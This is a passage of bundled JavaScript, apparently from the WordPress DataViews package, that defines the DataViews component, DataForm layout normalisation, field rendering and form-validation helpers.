39122 /* @__PURE__ */ (0, import_jsx_runtime253.jsx)(DataViewsFooter, {})
39123 ] });
39124 }
39125 function DataViews({
39126 view,
39127 onChangeView,
39128 fields,
39129 search = true,
39130 searchLabel = void 0,
39131 actions = EMPTY_ARRAY9,
39132 data,
39133 getItemId: getItemId2 = defaultGetItemId,
39134 getItemLevel: getItemLevel2,
39135 isLoading = false,
39136 paginationInfo,
39137 defaultLayouts: defaultLayoutsProperty,
39138 selection: selectionProperty,
39139 onChangeSelection,
39140 onClickItem,
39141 renderItemLink,
39142 isItemClickable = defaultIsItemClickable,
39143 header,
39144 children,
39145 config: config2 = { perPageSizes: [10, 20, 50, 100] },
39146 empty,
39147 onReset
39148 }) {
39149 const { infiniteScrollHandler } = paginationInfo;
39150 const containerRef = (0, import_element121.useRef)(null);
39151 const [containerWidth, setContainerWidth] = (0, import_element121.useState)(0);
39152 const resizeObserverRef = (0, import_compose23.useResizeObserver)(
39153 (resizeObserverEntries) => {
39154 setContainerWidth(
39155 resizeObserverEntries[0].borderBoxSize[0].inlineSize
39156 );
39157 },
39158 { box: "border-box" }
39159 );
39160 const [selectionState, setSelectionState] = (0, import_element121.useState)([]);
39161 const isUncontrolled = selectionProperty === void 0 || onChangeSelection === void 0;
39162 const selection = isUncontrolled ? selectionState : selectionProperty;
39163 const [openedFilter, setOpenedFilter] = (0, import_element121.useState)(null);
39164 function setSelectionWithChange(value) {
39165 const newValue = typeof value === "function" ? value(selection) : value;
39166 if (isUncontrolled) {
39167 setSelectionState(newValue);
39168 }
39169 if (onChangeSelection) {
39170 onChangeSelection(newValue);
39171 }
39172 }
39173 const _fields = (0, import_element121.useMemo)(() => normalizeFields(fields), [fields]);
39174 const _selection = (0, import_element121.useMemo)(() => {
39175 return selection.filter(
39176 (id) => data.some((item) => getItemId2(item) === id)
39177 );
39178 }, [selection, data, getItemId2]);
39179 const filters = use_filters_default(_fields, view);
39180 const hasPrimaryOrLockedFilters = (0, import_element121.useMemo)(
39181 () => (filters || []).some(
39182 (filter) => filter.isPrimary || filter.isLocked
39183 ),
39184 [filters]
39185 );
39186 const [isShowingFilter, setIsShowingFilter] = (0, import_element121.useState)(
39187 hasPrimaryOrLockedFilters
39188 );
39189 (0, import_element121.useEffect)(() => {
39190 if (hasPrimaryOrLockedFilters && !isShowingFilter) {
39191 setIsShowingFilter(true);
39192 }
39193 }, [hasPrimaryOrLockedFilters, isShowingFilter]);
39194 (0, import_element121.useEffect)(() => {
39195 if (!view.infiniteScrollEnabled || !containerRef.current) {
39196 return;
39197 }
39198 const handleScroll = (0, import_compose23.throttle)((event) => {
39199 const target = event.target;
39200 const scrollTop = target.scrollTop;
39201 const scrollHeight = target.scrollHeight;
39202 const clientHeight = target.clientHeight;
39203 if (scrollTop + clientHeight >= scrollHeight - 100) {
39204 infiniteScrollHandler?.();
39205 }
39206 }, 100);
39207 const container = containerRef.current;
39208 container.addEventListener("scroll", handleScroll);
39209 return () => {
39210 container.removeEventListener("scroll", handleScroll);
39211 handleScroll.cancel();
39212 };
39213 }, [infiniteScrollHandler, view.infiniteScrollEnabled]);
39214 const defaultLayouts4 = (0, import_element121.useMemo)(
39215 () => Object.fromEntries(
39216 Object.entries(defaultLayoutsProperty).filter(
39217 ([layoutType]) => {
39218 return dataViewsLayouts.some(
39219 (viewLayout) => viewLayout.type === layoutType
39220 );
39221 }
39222 )
39223 ),
39224 [defaultLayoutsProperty]
39225 );
39226 const {
39227 data: displayData,
39228 paginationInfo: displayPaginationInfo,
39229 hasInitiallyLoaded
39230 } = useData(data, isLoading, paginationInfo);
39231 if (!defaultLayouts4[view.type]) {
39232 return null;
39233 }
39234 return /* @__PURE__ */ (0, import_jsx_runtime253.jsx)(
39235 dataviews_context_default.Provider,
39236 {
39237 value: {
39238 view,
39239 onChangeView,
39240 fields: _fields,
39241 actions,
39242 data: displayData,
39243 isLoading,
39244 paginationInfo: displayPaginationInfo,
39245 selection: _selection,
39246 onChangeSelection: setSelectionWithChange,
39247 openedFilter,
39248 setOpenedFilter,
39249 getItemId: getItemId2,
39250 getItemLevel: getItemLevel2,
39251 isItemClickable,
39252 onClickItem,
39253 renderItemLink,
39254 containerWidth,
39255 containerRef,
39256 resizeObserverRef,
39257 defaultLayouts: defaultLayouts4,
39258 filters,
39259 isShowingFilter,
39260 setIsShowingFilter,
39261 config: config2,
39262 empty,
39263 hasInitiallyLoaded,
39264 hasInfiniteScrollHandler: !!infiniteScrollHandler,
39265 onReset
39266 },
39267 children: /* @__PURE__ */ (0, import_jsx_runtime253.jsx)("div", { className: "dataviews-wrapper", ref: containerRef, children: children ?? /* @__PURE__ */ (0, import_jsx_runtime253.jsx)(
39268 DefaultUI,
39269 {
39270 header,
39271 search,
39272 searchLabel
39273 }
39274 ) })
39275 }
39276 );
39277 }
39278 var DataViewsSubComponents = DataViews;
39279 DataViewsSubComponents.BulkActionToolbar = BulkActionsFooter;
39280 DataViewsSubComponents.Filters = filters_default;
39281 DataViewsSubComponents.FiltersToggled = filters_toggled_default;
39282 DataViewsSubComponents.FiltersToggle = toggle_default;
39283 DataViewsSubComponents.Layout = DataViewsLayout;
39284 DataViewsSubComponents.LayoutSwitcher = ViewTypeMenu;
39285 DataViewsSubComponents.Pagination = DataViewsPagination;
39286 DataViewsSubComponents.Search = dataviews_search_default;
39287 DataViewsSubComponents.ViewConfig = DataviewsViewConfigDropdown;
39288 DataViewsSubComponents.Footer = DataViewsFooter;
39289 var dataviews_default = DataViewsSubComponents;
39290
39291 // packages/dataviews/build-module/dataform/index.mjs
39292 var import_element133 = __toESM(require_element(), 1);
39293
39294 // packages/dataviews/build-module/components/dataform-context/index.mjs
39295 var import_element122 = __toESM(require_element(), 1);
39296 var import_jsx_runtime254 = __toESM(require_jsx_runtime(), 1);
39297 var DataFormContext = (0, import_element122.createContext)({
39298 fields: []
39299 });
39300 DataFormContext.displayName = "DataFormContext";
39301 function DataFormProvider({
39302 fields,
39303 children
39304 }) {
39305 return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(DataFormContext.Provider, { value: { fields }, children });
39306 }
39307 var dataform_context_default = DataFormContext;
39308
39309 // packages/dataviews/build-module/components/dataform-layouts/data-form-layout.mjs
39310 var import_element132 = __toESM(require_element(), 1);
39311
39312 // packages/dataviews/build-module/components/dataform-layouts/regular/index.mjs
39313 var import_element123 = __toESM(require_element(), 1);
39314 var import_components137 = __toESM(require_components(), 1);
39315
39316 // packages/dataviews/build-module/components/dataform-layouts/normalize-form.mjs
39317 var DEFAULT_LAYOUT = {
39318 type: "regular",
39319 labelPosition: "top"
39320 };
39321 var normalizeCardSummaryField = (sum) => {
39322 if (typeof sum === "string") {
39323 return [{ id: sum, visibility: "when-collapsed" }];
39324 }
39325 return sum.map((item) => {
39326 if (typeof item === "string") {
39327 return { id: item, visibility: "when-collapsed" };
39328 }
39329 return { id: item.id, visibility: item.visibility };
39330 });
39331 };
39332 function normalizeLayout(layout) {
39333 let normalizedLayout = DEFAULT_LAYOUT;
39334 if (layout?.type === "regular") {
39335 normalizedLayout = {
39336 type: "regular",
39337 labelPosition: layout?.labelPosition ?? "top"
39338 };
39339 } else if (layout?.type === "panel") {
39340 const summary = layout.summary ?? [];
39341 const normalizedSummary = Array.isArray(summary) ? summary : [summary];
39342 normalizedLayout = {
39343 type: "panel",
39344 labelPosition: layout?.labelPosition ?? "side",
39345 openAs: layout?.openAs ?? "dropdown",
39346 summary: normalizedSummary,
39347 editVisibility: layout?.editVisibility ?? "on-hover"
39348 };
39349 } else if (layout?.type === "card") {
39350 if (layout.withHeader === false) {
39351 normalizedLayout = {
39352 type: "card",
39353 withHeader: false,
39354 isOpened: true,
39355 summary: [],
39356 isCollapsible: false
39357 };
39358 } else {
39359 const summary = layout.summary ?? [];
39360 normalizedLayout = {
39361 type: "card",
39362 withHeader: true,
39363 isOpened: typeof layout.isOpened === "boolean" ? layout.isOpened : true,
39364 summary: normalizeCardSummaryField(summary),
39365 isCollapsible: layout.isCollapsible === void 0 ? true : layout.isCollapsible
39366 };
39367 }
39368 } else if (layout?.type === "row") {
39369 normalizedLayout = {
39370 type: "row",
39371 alignment: layout?.alignment ?? "center",
39372 styles: layout?.styles ?? {}
39373 };
39374 } else if (layout?.type === "details") {
39375 normalizedLayout = {
39376 type: "details",
39377 summary: layout?.summary ?? ""
39378 };
39379 }
39380 return normalizedLayout;
39381 }
39382 function normalizeForm(form) {
39383 const normalizedFormLayout = normalizeLayout(form?.layout);
39384 const normalizedFields = (form.fields ?? []).map(
39385 (field) => {
39386 if (typeof field === "string") {
39387 return {
39388 id: field,
39389 layout: normalizedFormLayout
39390 };
39391 }
39392 const fieldLayout = field.layout ? normalizeLayout(field.layout) : normalizedFormLayout;
39393 return {
39394 id: field.id,
39395 layout: fieldLayout,
39396 ...!!field.label && { label: field.label },
39397 ...!!field.description && {
39398 description: field.description
39399 },
39400 ..."children" in field && Array.isArray(field.children) && {
39401 children: normalizeForm({
39402 fields: field.children,
39403 layout: DEFAULT_LAYOUT
39404 }).fields
39405 }
39406 };
39407 }
39408 );
39409 return {
39410 layout: normalizedFormLayout,
39411 fields: normalizedFields
39412 };
39413 }
39414 var normalize_form_default = normalizeForm;
39415
39416 // packages/dataviews/build-module/components/dataform-layouts/regular/index.mjs
39417 var import_jsx_runtime255 = __toESM(require_jsx_runtime(), 1);
39418 function Header2({ title }) {
39419 return /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(
39420 Stack,
39421 {
39422 direction: "column",
39423 className: "dataforms-layouts-regular__header",
39424 gap: "lg",
39425 children: /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(Stack, { direction: "row", align: "center", children: /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(import_components137.__experimentalHeading, { level: 2, size: 13, children: title }) })
39426 }
39427 );
39428 }
39429 function FormRegularField({
39430 data,
39431 field,
39432 onChange,
39433 hideLabelFromVision,
39434 markWhenOptional,
39435 validity
39436 }) {
39437 const { fields } = (0, import_element123.useContext)(dataform_context_default);
39438 const layout = field.layout;
39439 const form = (0, import_element123.useMemo)(
39440 () => ({
39441 layout: DEFAULT_LAYOUT,
39442 fields: !!field.children ? field.children : []
39443 }),
39444 [field]
39445 );
39446 if (!!field.children) {
39447 return /* @__PURE__ */ (0, import_jsx_runtime255.jsxs)(import_jsx_runtime255.Fragment, { children: [
39448 !hideLabelFromVision && field.label && /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(Header2, { title: field.label }),
39449 /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(
39450 DataFormLayout,
39451 {
39452 data,
39453 form,
39454 onChange,
39455 validity: validity?.children
39456 }
39457 )
39458 ] });
39459 }
39460 const labelPosition = layout.labelPosition;
39461 const fieldDefinition = fields.find(
39462 (fieldDef) => fieldDef.id === field.id
39463 );
39464 if (!fieldDefinition || !fieldDefinition.Edit) {
39465 return null;
39466 }
39467 if (labelPosition === "side") {
39468 return /* @__PURE__ */ (0, import_jsx_runtime255.jsxs)(
39469 Stack,
39470 {
39471 direction: "row",
39472 className: "dataforms-layouts-regular__field",
39473 gap: "sm",
39474 children: [
39475 /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(
39476 "div",
39477 {
39478 className: clsx_default(
39479 "dataforms-layouts-regular__field-label",
39480 `dataforms-layouts-regular__field-label--label-position-${labelPosition}`
39481 ),
39482 children: /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(import_components137.BaseControl.VisualLabel, { children: fieldDefinition.label })
39483 }
39484 ),
39485 /* @__PURE__ */ (0, import_jsx_runtime255.jsx)("div", { className: "dataforms-layouts-regular__field-control", children: fieldDefinition.readOnly === true ? /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(
39486 fieldDefinition.render,
39487 {
39488 item: data,
39489 field: fieldDefinition
39490 }
39491 ) : /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(
39492 fieldDefinition.Edit,
39493 {
39494 data,
39495 field: fieldDefinition,
39496 onChange,
39497 hideLabelFromVision: true,
39498 markWhenOptional,
39499 validity
39500 },
39501 fieldDefinition.id
39502 ) })
39503 ]
39504 }
39505 );
39506 }
39507 return /* @__PURE__ */ (0, import_jsx_runtime255.jsx)("div", { className: "dataforms-layouts-regular__field", children: fieldDefinition.readOnly === true ? /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(import_jsx_runtime255.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime255.jsxs)(import_jsx_runtime255.Fragment, { children: [
39508 !hideLabelFromVision && labelPosition !== "none" && /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(import_components137.BaseControl.VisualLabel, { children: fieldDefinition.label }),
39509 /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(
39510 fieldDefinition.render,
39511 {
39512 item: data,
39513 field: fieldDefinition
39514 }
39515 )
39516 ] }) }) : /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(
39517 fieldDefinition.Edit,
39518 {
39519 data,
39520 field: fieldDefinition,
39521 onChange,
39522 hideLabelFromVision: labelPosition === "none" ? true : hideLabelFromVision,
39523 markWhenOptional,
39524 validity
39525 }
39526 ) });
39527 }
39528
39529 // packages/dataviews/build-module/components/dataform-layouts/panel/modal.mjs
39530 var import_deepmerge3 = __toESM(require_cjs(), 1);
39531 var import_components140 = __toESM(require_components(), 1);
39532 var import_i18n128 = __toESM(require_i18n(), 1);
39533 var import_element128 = __toESM(require_element(), 1);
39534 var import_compose25 = __toESM(require_compose(), 1);
39535
39536 // packages/dataviews/build-module/components/dataform-layouts/panel/summary-button.mjs
39537 var import_components139 = __toESM(require_components(), 1);
39538 var import_i18n126 = __toESM(require_i18n(), 1);
39539 var import_compose24 = __toESM(require_compose(), 1);
39540 var import_element124 = __toESM(require_element(), 1);
39541
39542 // packages/dataviews/build-module/components/dataform-layouts/panel/utils/get-label-classname.mjs
39543 function getLabelClassName(labelPosition, showError) {
39544 return clsx_default(
39545 "dataforms-layouts-panel__field-label",
39546 `dataforms-layouts-panel__field-label--label-position-${labelPosition}`,
39547 { "has-error": showError }
39548 );
39549 }
39550 var get_label_classname_default = getLabelClassName;
39551
39552 // packages/dataviews/build-module/components/dataform-layouts/panel/utils/get-label-content.mjs
39553 var import_components138 = __toESM(require_components(), 1);
39554 var import_jsx_runtime256 = __toESM(require_jsx_runtime(), 1);
39555 function getLabelContent(showError, errorMessage, fieldLabel) {
39556 return showError ? /* @__PURE__ */ (0, import_jsx_runtime256.jsx)(import_components138.Tooltip, { text: errorMessage, placement: "top", children: /* @__PURE__ */ (0, import_jsx_runtime256.jsxs)("span", { className: "dataforms-layouts-panel__field-label-error-content", children: [
39557 /* @__PURE__ */ (0, import_jsx_runtime256.jsx)(import_components138.Icon, { icon: error_default, size: 16 }),
39558 fieldLabel
39559 ] }) }) : fieldLabel;
39560 }
39561 var get_label_content_default = getLabelContent;
39562
39563 // packages/dataviews/build-module/components/dataform-layouts/panel/utils/get-first-validation-error.mjs
39564 function getFirstValidationError(validity) {
39565 if (!validity) {
39566 return void 0;
39567 }
39568 const validityRules = Object.keys(validity).filter(
39569 (key) => key !== "children"
39570 );
39571 for (const key of validityRules) {
39572 const rule = validity[key];
39573 if (rule === void 0) {
39574 continue;
39575 }
39576 if (rule.type === "invalid") {
39577 if (rule.message) {
39578 return rule.message;
39579 }
39580 if (key === "required") {
39581 return "A required field is empty";
39582 }
39583 return "Unidentified validation error";
39584 }
39585 }
39586 if (validity.children) {
39587 for (const childValidity of Object.values(validity.children)) {
39588 const childError = getFirstValidationError(childValidity);
39589 if (childError) {
39590 return childError;
39591 }
39592 }
39593 }
39594 return void 0;
39595 }
39596 var get_first_validation_error_default = getFirstValidationError;
39597
39598 // packages/dataviews/build-module/components/dataform-layouts/panel/summary-button.mjs
39599 var import_jsx_runtime257 = __toESM(require_jsx_runtime(), 1);
39600 function SummaryButton({
39601 data,
39602 field,
39603 fieldLabel,
39604 summaryFields,
39605 validity,
39606 touched,
39607 disabled,
39608 onClick,
39609 "aria-expanded": ariaExpanded
39610 }) {
39611 const { labelPosition, editVisibility } = field.layout;
39612 const errorMessage = get_first_validation_error_default(validity);
39613 const showError = touched && !!errorMessage;
39614 const labelClassName = get_label_classname_default(labelPosition, showError);
39615 const labelContent = get_label_content_default(showError, errorMessage, fieldLabel);
39616 const className = clsx_default(
39617 "dataforms-layouts-panel__field-trigger",
39618 `dataforms-layouts-panel__field-trigger--label-${labelPosition}`,
39619 {
39620 "is-disabled": disabled,
39621 "dataforms-layouts-panel__field-trigger--edit-always": editVisibility === "always"
39622 }
39623 );
39624 const controlId = (0, import_compose24.useInstanceId)(
39625 SummaryButton,
39626 "dataforms-layouts-panel__field-control"
39627 );
39628 const ariaLabel = showError ? (0, import_i18n126.sprintf)(
39629 // translators: %s: Field name.
39630 (0, import_i18n126._x)("Edit %s (has errors)", "field"),
39631 fieldLabel || ""
39632 ) : (0, import_i18n126.sprintf)(
39633 // translators: %s: Field name.
39634 (0, import_i18n126._x)("Edit %s", "field"),
39635 fieldLabel || ""
39636 );
39637 const rowRef = (0, import_element124.useRef)(null);
39638 const handleRowClick = () => {
39639 const selection = rowRef.current?.ownerDocument.defaultView?.getSelection();
39640 if (selection && selection.toString().length > 0) {
39641 return;
39642 }
39643 onClick();
39644 };
39645 const handleKeyDown = (event) => {
39646 if (event.target === event.currentTarget && (event.key === "Enter" || event.key === " ")) {
39647 event.preventDefault();
39648 onClick();
39649 }
39650 };
39651 return /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(
39652 "div",
39653 {
39654 ref: rowRef,
39655 className,
39656 onClick: !disabled ? handleRowClick : void 0,
39657 onKeyDown: !disabled ? handleKeyDown : void 0,
39658 children: [
39659 labelPosition !== "none" && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)("span", { className: labelClassName, children: labelContent }),
39660 labelPosition === "none" && showError && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(import_components139.Tooltip, { text: errorMessage, placement: "top", children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)("span", { className: "dataforms-layouts-panel__field-label-error-content", children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(import_components139.Icon, { icon: error_default, size: 16 }) }) }),
39661 /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
39662 "span",
39663 {
39664 id: `${controlId}`,
39665 className: "dataforms-layouts-panel__field-control",
39666 children: summaryFields.length > 1 ? /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
39667 "span",
39668 {
39669 style: {
39670 display: "flex",
39671 flexDirection: "column",
39672 alignItems: "flex-start",
39673 width: "100%",
39674 gap: "2px"
39675 },
39676 children: summaryFields.map((summaryField) => /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
39677 "span",
39678 {
39679 style: { width: "100%" },
39680 children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
39681 summaryField.render,
39682 {
39683 item: data,
39684 field: summaryField
39685 }
39686 )
39687 },
39688 summaryField.id
39689 ))
39690 }
39691 ) : summaryFields.map((summaryField) => /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
39692 summaryField.render,
39693 {
39694 item: data,
39695 field: summaryField
39696 },
39697 summaryField.id
39698 ))
39699 }
39700 ),
39701 !disabled && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
39702 import_components139.Button,
39703 {
39704 className: "dataforms-layouts-panel__field-trigger-icon",
39705 label: ariaLabel,
39706 showTooltip: false,
39707 icon: pencil_default,
39708 size: "small",
39709 "aria-expanded": ariaExpanded,
39710 "aria-haspopup": "dialog",
39711 "aria-describedby": `${controlId}`
39712 }
39713 )
39714 ]
39715 }
39716 );
39717 }
39718
39719 // packages/dataviews/build-module/hooks/use-form-validity.mjs
39720 var import_deepmerge2 = __toESM(require_cjs(), 1);
39721 var import_es63 = __toESM(require_es6(), 1);
39722 var import_element125 = __toESM(require_element(), 1);
39723 var import_i18n127 = __toESM(require_i18n(), 1);
39724 function isFormValid(formValidity) {
39725 if (!formValidity) {
39726 return true;
39727 }
39728 return Object.values(formValidity).every((fieldValidation) => {
39729 return Object.entries(fieldValidation).every(
39730 ([key, validation]) => {
39731 if (key === "children" && validation && typeof validation === "object") {
39732 return isFormValid(validation);
39733 }
39734 return validation.type !== "invalid" && validation.type !== "validating";
39735 }
39736 );
39737 });
39738 }
39739 function getFormFieldsToValidate(form, fields) {
39740 const normalizedForm = normalize_form_default(form);
39741 if (normalizedForm.fields.length === 0) {
39742 return [];
39743 }
39744 const fieldsMap = /* @__PURE__ */ new Map();
39745 fields.forEach((field) => {
39746 fieldsMap.set(field.id, field);
39747 });
39748 function processFormField(formField) {
39749 if ("children" in formField && Array.isArray(formField.children)) {
39750 const processedChildren = formField.children.map(processFormField).filter((child) => child !== null);
39751 if (processedChildren.length === 0) {
39752 return null;
39753 }
39754 const fieldDef2 = fieldsMap.get(formField.id);
39755 if (fieldDef2) {
39756 const [normalizedField2] = normalizeFields([
39757 fieldDef2
39758 ]);
39759 return {
39760 id: formField.id,
39761 children: processedChildren,
39762 field: normalizedField2
39763 };
39764 }
39765 return {
39766 id: formField.id,
39767 children: processedChildren
39768 };
39769 }
39770 const fieldDef = fieldsMap.get(formField.id);
39771 if (!fieldDef) {
39772 return null;
39773 }
39774 const [normalizedField] = normalizeFields([fieldDef]);
39775 return {
39776 id: formField.id,
39777 children: [],
39778 field: normalizedField
39779 };
39780 }
39781 const toValidate = normalizedForm.fields.map(processFormField).filter((field) => field !== null);
39782 return toValidate;
39783 }
39784 function setValidityAtPath(formValidity, fieldValidity, path) {
39785 if (!formValidity) {
39786 formValidity = {};
39787 }
39788 if (path.length === 0) {
39789 return formValidity;
39790 }
39791 const result = { ...formValidity };
39792 let current = result;
39793 for (let i2 = 0; i2 < path.length - 1; i2++) {
39794 const segment = path[i2];
39795 if (!current[segment]) {
39796 current[segment] = {};
39797 }
39798 current[segment] = { ...current[segment] };
39799 current = current[segment];
39800 }
39801 const finalKey = path[path.length - 1];
39802 current[finalKey] = {
39803 ...current[finalKey] || {},
39804 ...fieldValidity
39805 };
39806 return result;
39807 }
39808 function removeValidationProperty(formValidity, path, property) {
39809 if (!formValidity || path.length === 0) {
39810 return formValidity;
39811 }
39812 const result = { ...formValidity };
39813 let current = result;
39814 for (let i2 = 0; i2 < path.length - 1; i2++) {
39815 const segment = path[i2];
39816 if (!current[segment]) {
39817 return formValidity;
39818 }
39819 current[segment] = { ...current[segment] };
39820 current = current[segment];
39821 }
39822 const finalKey = path[path.length - 1];
39823 if (!current[finalKey]) {
39824 return formValidity;
39825 }
39826 const fieldValidity = { ...current[finalKey] };
39827 delete fieldValidity[property];
39828 if (Object.keys(fieldValidity).length === 0) {
39829 delete current[finalKey];
39830 } else {
39831 current[finalKey] = fieldValidity;
39832 }
39833 if (Object.keys(result).length === 0) {
39834 return void 0;
39835 }
39836 return result;
39837 }
39838 function handleElementsValidationAsync(promise, formField, promiseHandler) {
39839 const { elementsCounterRef, setFormValidity, path, item } = promiseHandler;
39840 const currentToken = (elementsCounterRef.current[formField.id] || 0) + 1;
39841 elementsCounterRef.current[formField.id] = currentToken;
39842 promise.then((result) => {
39843 if (currentToken !== elementsCounterRef.current[formField.id]) {
39844 return;
39845 }
39846 if (!Array.isArray(result)) {
39847 setFormValidity((prev) => {
39848 const newFormValidity = setValidityAtPath(
39849 prev,
39850 {
39851 elements: {
39852 type: "invalid",
39853 message: (0, import_i18n127.__)("Could not validate elements.")
39854 }
39855 },
39856 [...path, formField.id]
39857 );
39858 return newFormValidity;
39859 });
39860 return;
39861 }
39862 if (formField.field?.isValid.elements && !formField.field.isValid.elements.validate(item, {
39863 ...formField.field,
39864 elements: result
39865 })) {
39866 setFormValidity((prev) => {
39867 const newFormValidity = setValidityAtPath(
39868 prev,
39869 {
39870 elements: {
39871 type: "invalid",
39872 message: (0, import_i18n127.__)(
39873 "Value must be one of the elements."
39874 )
39875 }
39876 },
39877 [...path, formField.id]
39878 );
39879 return newFormValidity;
39880 });
39881 } else {
39882 setFormValidity((prev) => {
39883 return removeValidationProperty(
39884 prev,
39885 [...path, formField.id],
39886 "elements"
39887 );
39888 });
39889 }
39890 }).catch((error) => {
39891 if (currentToken !== elementsCounterRef.current[formField.id]) {
39892 return;
39893 }
39894 let errorMessage;
39895 if (error instanceof Error) {
39896 errorMessage = error.message;
39897 } else {
39898 errorMessage = String(error) || (0, import_i18n127.__)(
39899 "Unknown error when running elements validation asynchronously."
39900 );
39901 }
39902 setFormValidity((prev) => {
39903 const newFormValidity = setValidityAtPath(
39904 prev,
39905 {
39906 elements: {
39907 type: "invalid",
39908 message: errorMessage
39909 }
39910 },
39911 [...path, formField.id]
39912 );
39913 return newFormValidity;
39914 });
39915 });
39916 }
39917 function handleCustomValidationAsync(promise, formField, promiseHandler) {
39918 const { customCounterRef, setFormValidity, path } = promiseHandler;
39919 const currentToken = (customCounterRef.current[formField.id] || 0) + 1;
39920 customCounterRef.current[formField.id] = currentToken;
39921 promise.then((result) => {
39922 if (currentToken !== customCounterRef.current[formField.id]) {
39923 return;
39924 }
39925 if (result === null) {
39926 setFormValidity((prev) => {
39927 return removeValidationProperty(
39928 prev,
39929 [...path, formField.id],
39930 "custom"
39931 );
39932 });
39933 return;
39934 }
39935 if (typeof result === "string") {
39936 setFormValidity((prev) => {
39937 const newFormValidity = setValidityAtPath(
39938 prev,
39939 {
39940 custom: {
39941 type: "invalid",
39942 message: result
39943 }
39944 },
39945 [...path, formField.id]
39946 );
39947 return newFormValidity;
39948 });
39949 return;
39950 }
39951 setFormValidity((prev) => {
39952 const newFormValidity = setValidityAtPath(
39953 prev,
39954 {
39955 custom: {
39956 type: "invalid",
39957 message: (0, import_i18n127.__)("Validation could not be processed.")
39958 }
39959 },
39960 [...path, formField.id]
39961 );
39962 return newFormValidity;
39963 });
39964 }).catch((error) => {
39965 if (currentToken !== customCounterRef.current[formField.id]) {
39966 return;
39967 }
39968 let errorMessage;
39969 if (error instanceof Error) {
39970 errorMessage = error.message;
39971 } else {
39972 errorMessage = String(error) || (0, import_i18n127.__)(
39973 "Unknown error when running custom validation asynchronously."
39974 );
39975 }
39976 setFormValidity((prev) => {
39977 const newFormValidity = setValidityAtPath(
39978 prev,
39979 {
39980 custom: {
39981 type: "invalid",
39982 message: errorMessage
39983 }
39984 },
39985 [...path, formField.id]
39986 );
39987 return newFormValidity;
39988 });
39989 });
39990 }
39991 function validateFormField(item, formField, promiseHandler) {
39992 if (formField.field?.isValid.required && !formField.field.isValid.required.validate(item, formField.field)) {
39993 return {
39994 required: { type: "invalid" }
39995 };
39996 }
39997 if (formField.field?.isValid.pattern && !formField.field.isValid.pattern.validate(item, formField.field)) {
39998 return {
39999 pattern: {
40000 type: "invalid",
40001 message: (0, import_i18n127.__)("Value does not match the required pattern.")
40002 }
40003 };
40004 }
40005 if (formField.field?.isValid.min && !formField.field.isValid.min.validate(item, formField.field)) {
40006 return {
40007 min: {
40008 type: "invalid",
40009 message: (0, import_i18n127.__)("Value is below the minimum.")
40010 }
40011 };
40012 }
40013 if (formField.field?.isValid.max && !formField.field.isValid.max.validate(item, formField.field)) {
40014 return {
40015 max: {
40016 type: "invalid",
40017 message: (0, import_i18n127.__)("Value is above the maximum.")
40018 }
40019 };
40020 }
40021 if (formField.field?.isValid.minLength && !formField.field.isValid.minLength.validate(item, formField.field)) {
40022 return {
40023 minLength: {
40024 type: "invalid",
40025 message: (0, import_i18n127.__)("Value is too short.")
40026 }
40027 };
40028 }
40029 if (formField.field?.isValid.maxLength && !formField.field.isValid.maxLength.validate(item, formField.field)) {
40030 return {
40031 maxLength: {
40032 type: "invalid",
40033 message: (0, import_i18n127.__)("Value is too long.")
40034 }
40035 };
40036 }
40037 if (formField.field?.isValid.elements && formField.field.hasElements && !formField.field.getElements && Array.isArray(formField.field.elements) && !formField.field.isValid.elements.validate(item, formField.field)) {
40038 return {
40039 elements: {
40040 type: "invalid",
40041 message: (0, import_i18n127.__)("Value must be one of the elements.")
40042 }
40043 };
40044 }
40045 let customError;
40046 if (!!formField.field && formField.field.isValid.custom) {
40047 try {
40048 const value = formField.field.getValue({ item });
40049 customError = formField.field.isValid.custom(
40050 (0, import_deepmerge2.default)(
40051 item,
40052 formField.field.setValue({
40053 item,
40054 value
40055 })
40056 ),
40057 formField.field
40058 );
40059 } catch (error) {
40060 let errorMessage;
40061 if (error instanceof Error) {
40062 errorMessage = error.message;
40063 } else {
40064 errorMessage = String(error) || (0, import_i18n127.__)("Unknown error when running custom validation.");
40065 }
40066 return {
40067 custom: {
40068 type: "invalid",
40069 message: errorMessage
40070 }
40071 };
40072 }
40073 }
40074 if (typeof customError === "string") {
40075 return {
40076 custom: {
40077 type: "invalid",
40078 message: customError
40079 }
40080 };
40081 }
40082 const fieldValidity = {};
40083 if (!!formField.field && formField.field.isValid.elements && formField.field.hasElements && typeof formField.field.getElements === "function") {
40084 handleElementsValidationAsync(
40085 formField.field.getElements(),
40086 formField,
40087 promiseHandler
40088 );
40089 fieldValidity.elements = {
40090 type: "validating",
40091 message: (0, import_i18n127.__)("Validating\u2026")
40092 };
40093 }
40094 if (customError instanceof Promise) {
40095 handleCustomValidationAsync(customError, formField, promiseHandler);
40096 fieldValidity.custom = {
40097 type: "validating",
40098 message: (0, import_i18n127.__)("Validating\u2026")
40099 };
40100 }
40101 if (Object.keys(fieldValidity).length > 0) {
40102 return fieldValidity;
40103 }
40104 if (formField.children.length > 0) {
40105 const result = {};
40106 formField.children.forEach((child) => {
40107 result[child.id] = validateFormField(item, child, {
40108 ...promiseHandler,
40109 path: [...promiseHandler.path, formField.id, "children"]
40110 });
40111 });
40112 const filteredResult = {};
40113 Object.entries(result).forEach(([key, value]) => {
